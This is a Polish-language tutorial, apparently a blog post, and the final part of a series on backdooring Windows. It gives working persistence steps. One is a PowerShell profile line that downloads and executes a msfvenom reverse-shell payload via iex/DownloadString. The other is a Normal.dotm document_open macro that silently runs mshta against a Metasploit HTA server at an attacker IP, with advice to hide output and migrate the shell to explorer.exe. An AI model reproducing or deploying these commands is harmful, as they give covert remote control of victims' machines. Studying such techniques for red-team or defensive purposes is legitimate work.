W trzeciej, ostatniej części serii artykułów o podstawach backdoorowania systemu Windows, przedstawię dwie techniki oparte o programy uruchamiane przez użytkowników – Powershell i MS Word. Jak się domyślasz więc, backdoory te zamiast startować wraz z systemem, będą raczej uruchamiały się w tle wraz z powyższymi programami. W przeciwieństwie do poprzednio prezentowanych technik nie ma więc pełnej gwarancji, ale istnieje duże prawdopodobieństwo, że nasz backdoor zostanie uruchomiony.
Powershell profile
Profile Powershella są plikami umożliwiającymi customizację środowiska PowerShell dla danego użytkownika. Takich lokalizacji jest kilka, a żeby je wylistować możemy w oknie powershella wpisać poniższe polecenie:
$PROFILE | select *
Z uwagi na fakt, że wybrana poniżej ścieżka nie istnieje, przy pomocy jednej komendy tworzymy plik oraz dodajemy do niego przykładowe polecenie startujące program mspaint.exe. Całość pokazana jest na poniższym zrzucie ekranu:

Otwieramy teraz nowe okno Powershella. Widzimy, że startuje on wraz z programem mspaint.exe

Z uwagi na fakt, że pliki profili podlegają konfiguracji ExecutionPolicy, powyższa metoda nie zadziała jeżeli na systemie domyślna polityka powershella ustawiona jest na Restricted. Aby wykorzystać powyższą właściwość powershella do utworzenia backdoora, skorzystamy ponownie z systemu Kali Linux, gdzie wygenerujemy payload w języku powershell. Używamy do tego celu msfvenom’a. Kompletna składnia polecenia widoczna jest poniżej:
msfvenom -p windows/x64/shell_reverse_tcp -f psh -o m.ps1 lhost=192.168.139.214 lport=443 exitfunc=thread
Wygenerowany plik hostujemy z użyciem SimpleHTTPServera:

Następnie na maszynie Windows będącej naszą ofiarą „instalujemy” backdoora poprzez dodanie poniższego kodu do pliku c:\Users\<current user>\Documents\WindowsPowerShell\profile.ps1. Ścieżka ta prowadzi do pliku, który jest jednym z wylistowanych przez nas plików profili.
iex (new-object net.webclient).downloadstring('http://192.168.139.214:8080/m.ps1') > $null

W składni powershella, iex to alias do Invoke-Expression – powyższy kod pobiera (w formie tekstowej) zawartość pliku m.ps1 z użyciem protokołu HTTP, a następnie od razu przekazuje go do polecenia invoke-expression, które odpowiada za wykonanie kodu (taki powershellowy eval). Przekierowanie outputu do $null służy ukryciu dodatkowych informacji o postępie wykonania skryptu z okna powershell. Spróbujmy teraz włączyć nowe okno powershell. Włączenie powershella przebiega bez zakłóceń:

Jednocześnie na maszynie Kali Linux aktywowany jest reverse shell.

Shell niestety jest ściśle związany z procesem powershell więc znika wraz z zamknięciem jego okna. Aby zwiększyć trwałość shella, rozwiązaniem mogłaby być np. migracja do innego, stabilnego procesu. Dodatkowo, w przypadku gdy połączenie z serwerem hostującym reverse shell nie może się nawiązać, uruchomienie powershella zauważalnie się opóźnia – stąd też tego typu kod wymagałby pewnego udoskonalenia.
MS Office Templates
Kolejnym miejscem, gdzie może zostać ukryty złośliwy kod są tzw. szablony MS Office. Szablony to po prostu przygotowane wstępnie projekty dokumentów, w tym także pustego dokumentu. Kiedy uruchamiamy pakiet office – np. MS Word – i wybieramy „pusty dokument”, to ładowany jest standardowy szablon pustego dokumentu, czyli kopia domyślnego szablonu Normal.dotm.
Zależnie od wersji systemu i pakietu office lokalizacja folderu z szablonami, gdzie znajduje się także Normal.dotm, może być różna, stąd tez warto najpierw wyszukać, gdzie aktualnie przechowywane są szablony pakietu Office. Możemy wykorzystać do tego celu polecenie command line:
dir Normal.dotm /s /p

Korzystając z powyższej komendy znajdujemy ścieżkę, gdzie przechowywany jest szablon o tej nazwie. Jeżeli otworzymy teraz tę lokalizację, to zobaczymy, że znajduje się tam więcej szablonów, także używanych przez inne programy pakietu MS Office. Pamiętaj, że jeżeli testujesz tą właściwość na swoim systemie, to szablony mogą znajdować się gdzieś indziej, jednak z użyciem powyższego polecenia bez trudu je znajdziesz.

Zacznijmy od utworzenia dowolnego makra, którego celem będzie wyłącznie informowanie nas o tym, że poprawnie się wykonało. W tym celu otwieramy nowy dokument MS Word (pusty dokument) i przechodzimy do Makr – skrót klawiszowy to Lewy Alt + F11. Otworzy się nowe okno, w którym możemy zapisać kod makra.

document_open to specjalna nazwa makra informująca MS Word o tym, że powinno ono być uruchomione wraz z otwarciem dokumentu zawierającego to makro. Nasze makro aktualnie wyświetla jedynie wiadomość – tworzymy je w celu testowym. Jeżeli zadziała, to następnie będziemy mogli podmienić zawartość funkcji na dowolne inne makro. Zapisujemy teraz dokument jako „Word Macro Enabled Template” i nazwa Normal.dotm. Poniżej znajdziesz kod:
Sub document_open()
MsgBox ("Hello")
End Sub

Zamykamy teraz program MS Word i otwieramy dowolny, aktualnie istniejący dokument Worda.

Makro zapisane w szablonie Normal.dotm uruchomiło się. Jeżeli spróbujemy utworzyć pusty dokument, to nic się nie stanie, natomiast każdorazowe otwarcie dokumentu MS Word powoduje załadowanie się makra, co możemy potwierdzić widząc okienko Message Box’a. Ta właśnie właściwość może zostać użyta do wprowadzenia backdoora do systemu operacyjnego.
Spróbujemy więc ponownie skorzystać z reverse shella do systemu Kali Linux aby stworzyć backdoora opartego o szablony MS Office – tym razem korzystając z payloadu w formie HTA. HTA to interesujący format obsługiwany domyślnie przez system Windows i oznacza on HTML Application. Jest to prawie zwyczajny plik HTML – prawie, bo poza wyświetleniem treści HTML, umożliwia on także obsługę języków skryptowych takich jak np. VBScript czy JScript, które użyte w (nie)właściwy sposób pozwalają na wykonanie komend na systemie operacyjnym. Interpreterem aplikacji HTML (.hta) jest program mshta.exe, który również jest domyślnym składnikiem systemu Windows i ma on możliwość uruchamiania takiej aplikacji zdalnie – wystarczy podać jej adres jako argument do samej aplikacji. Co za tym idzie, jeżeli pod adresem http://example.com/app.hta znajdzie się aplikacja HTA zawierająca kod np. VBScript, to jeżeli na komputerze z systemem Windows wykonamy polecenie mshta.exe http://example.com/app.hta
to powyższa aplikacja .hta zostanie uruchomiona w kontekście aktualnego użytkownika i wykonany zostanie dowolny kod, który został w tej aplikacji zdefiniowany. Warto także dodać, że przeglądarki Internet Explorer oraz Edge mają możliwość otwierania aplikacji .hta, jednak wyświetlają ostrzeżenia o tym, że zawartość może być niebezpieczna.
Aby skorzystać z aplikacji .hta, która pozwala na wykonanie kodu na maszynie, na której zostanie ona zinterpretowana, możemy także skorzystać z modułu Metasploita o nazwie exploit/windows/misc/hta_server
Ustawiamy w nim następujące opcje:

a następnie uruchamiamy serwowanie payloadu poprzez komendę „run”. Powyższy listing zawiera zmodyfikowany kod makra, który zostanie dodany do domyślnego szablonu jako nasz backdoor. Aplikacja .hta będzie dostępna pod adresem [SRVHOST]:[SRVPORT]/[URIPATH] – w tym wypadku aplikacja jest dostępna na wszystkich adresach IP maszyny atakującej (0.0.0.0) na porcie 8080, a jej ścieżka na serwerze to /help. Ponadto całość komendy wewnątrz makra uruchomiona jest przez cmd.exe /c
, co zapobiega wyświetleniu się jakiegokolwiek okna dialogowego. Dzięki temu, całość dzieje się w tle i jest niewidoczna dla użytkownika.
Sub document_open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c mshta http://192.168.139.214:8080/help"
End Sub
Aby zapisać nowe makro jako backdoor w domyślnym szablonie otwieramy nowy, pusty dokument MS Word i przechodzimy do Makr. Widzimy, że makro z szablonu Normal.dotm jest obecne w dokumencie, jednak interesuje nas utworzenie nowego makra, w związku z czym powinniśmy wybrać makro z zakładki aktualnego pliku poprzez dwukrotne kliknięcie w element listy rozwijanej:

Plik ponownie zapisujemy jako „Macro Enabled Word Document Template” pod nazwą Normal.dotm, a następnie po zamknięciu wszystkich aktywnych okien MS Worda (to ważne, ponieważ domyślny szablon jest załadowany przez każdą instancję Worda, a plików będących w użyciu nie można nadpisać), przenosimy go do lokalizacji, gdzie znajdują się szablony MS Word nadpisując oryginalny plik Normal.dotm.

Otworzymy teraz dowolny dokument MS Word. W chwili otwarcia zauważamy, że metasploit dostarcza i zaraz potem uruchamia payload, a my uzyskujemy reverse shella.

Tego typu backdoor, mimo tego, iż nie polega na autostarcie, cechuje się wysokim prawdopodobieństwem uruchomienia – wielu z nas otwiera dokumenty Worda kilkukrotnie w ciągu dnia, a backdoor uruchamia się za każdym razem, gdy taki dokument jest czytany przez użytkownika. Uwaga! Jeżeli plik, który jest uruchamiany przez użytkownika został pobrany z internetu, to konieczne będzie standardowe kliknięcie w przycisk „Enable Editing”, zanim szablon zostanie wczytany, a co za tym idzie – makro uruchomione. Co więcej, podobnie jak w przypadku powershella, nasz reverse shell będzie żył tak długo, jak długo dokument pozostanie otwarty. Z pomocą w takich sytuacjach może przyjść opcja Metasploita – migrate, aby przenieść shella do innego procesu, który z dużym prawdopodobieństwem nie zostanie zakończony – może to być np. explorer.exe.
Na tę chwilę to koniec trzyczęściowego poradnika dotyczącego backdoorowania systemów Windows. Oczywiście wszystkie zaprezentowane techniki w zderzeniu z dobrze skonfigurowanym, współczesnym systemem Windows cechują się wysoką wykrywalnością. W przypadku próby zainstalowania backdoora na dobrze strzeżonej stacji roboczej mamy kilku przeciwników takich jak narzędzia do monitoringu, antywirus, AMSI, czy firmowe proxy lub inne ograniczenie ruchu sieciowego – ale to temat na osobny artykuł, który zapewne pojawi się w niedalekiej przyszłości.